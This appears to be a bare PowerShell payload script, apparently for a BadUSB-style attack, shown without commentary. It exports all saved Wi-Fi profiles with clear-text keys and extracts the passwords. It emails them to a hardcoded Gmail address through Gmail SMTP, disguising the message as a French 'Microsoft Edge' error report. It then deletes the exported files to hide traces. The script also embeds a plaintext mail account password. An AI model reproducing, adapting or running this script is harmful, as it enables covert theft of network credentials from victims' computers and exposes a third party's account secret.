netsh wlan export profile key=clear powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > Wi-Fi-PASS $from = 'hatg500@gmail.com' $to = 'hatg500@gmail.com' $smtp = 'smtp.gmail.com' $subject = 'Report Error' $body = 'Microsoft Edge à cesser de fonctioner 2 fois de suite' $secpasswd = ConvertTo-SecureString 'jzhcphekkgsdefku' -AsPlainText -Force $mycreds = New-Object System.Management.Automation.PSCredential($from, $secpasswd) Send-MailMessage -To $to -From $from -Subject $subject -Body $body -Credential $mycreds -SmtpServer $smtp -UseSsl -DeliveryNotificationOption Never -BodyAsHtm -Attachments 'Wi-Fi-PASS' Remove-Item Wi-Fi* [console]::beep(500,300)